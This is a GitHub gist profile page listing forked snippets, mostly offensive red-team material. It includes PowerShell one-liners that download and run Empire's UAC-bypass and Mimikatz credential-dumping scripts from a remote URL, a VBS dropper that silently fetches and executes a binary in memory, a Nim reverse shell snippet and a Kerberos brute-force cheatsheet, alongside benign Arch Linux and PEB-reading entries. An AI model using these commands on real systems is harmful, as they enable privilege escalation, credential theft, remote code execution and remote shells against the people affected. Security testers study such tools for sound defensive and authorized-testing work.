Skip to content

Instantly share code, notes, and snippets.

View AssassinUKG's full-sized avatar
🎯
Focusing, Training

ac1d AssassinUKG

🎯
Focusing, Training
173 followers · 217 following
View GitHub Profile
@AssassinUKG
AssassinUKG / RedTeam_CheatSheet.ps1
Created February 28, 2024 13:15 — forked from jivoi/RedTeam_CheatSheet.ps1
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@AssassinUKG
AssassinUKG / main.cpp
Created January 31, 2024 11:56 — forked from hasherezade/main.cpp
Get PEB64 from a WOW64 process
#include <Windows.h>
#include <iostream>
#include "ntdll_undoc.h"
PPEB get_default_peb()
{
#if defined(_WIN64)
return (PPEB)__readgsqword(0x60);
#else
@AssassinUKG
AssassinUKG / mw32getpeb.c
Last active January 31, 2024 09:57 — forked from okumura/mw32getpeb.c
Get PEB for Windows.
LPVOID mw32GetPeb() {
#if defined(_WIN64)
UINT64 uiPeb = __readgsqword(0x60);
return (LPVOID) (UINT_PTR) uiPeb;
#else
UINT32 uiPeb = __readfsdword(0x30);
return (LPVOID) (UINT_PTR) uiPeb;
#endif
}
@AssassinUKG
AssassinUKG / dropper.vbs
Created January 15, 2024 22:18 — forked from gothburz/dropper.vbs
' This is for demo puroposes
CreateObject("WScript.Shell").Run("powershell -NoProfile -WindowStyle Hidden $assembly = [System.Reflection.Assembly]::Load((Invoke-WebRequest 'http://127.0.0.1/malicious-binary.exe' -UseBasicParsing).Content); $null = $assembly.GetTypes(); $method = $assembly.GetType('MaliciousProgram').GetMethod('Main', [System.Reflection.BindingFlags]'Static, Public, NonPublic'); $null = $method.Invoke($null, @())")
@AssassinUKG
AssassinUKG / resources.md
Created October 26, 2023 13:35 — forked from kimusan/resources.md
A curated list of Assembly Language / Reversing / Malware Analysis -resources
@AssassinUKG
AssassinUKG / install-arch-in-virtual-machine.md
Created October 5, 2023 23:33 — forked from miliarch/install-arch-in-virtual-machine.md
Install Arch Linux in a Virtual Machine
@AssassinUKG
AssassinUKG / nimrs.nim
Created July 6, 2023 00:30 — forked from mttaggart/nimrs.nim
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
@AssassinUKG
AssassinUKG / windows_and_office_kms_setup.adoc
Created May 19, 2023 23:33 — forked from jerodg/windows_and_office_kms_setup.adoc
Activate Windows and Office Using KMS Server

Microsoft Windows and Office KMS Setup

@AssassinUKG
AssassinUKG / kerberos_attacks_cheatsheet.md
Created March 31, 2023 09:49 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@AssassinUKG
AssassinUKG / INSTALL.md
Created February 7, 2023 13:29 — forked from thomasheller/INSTALL.md
Install Arch Linux in VirtualBox VM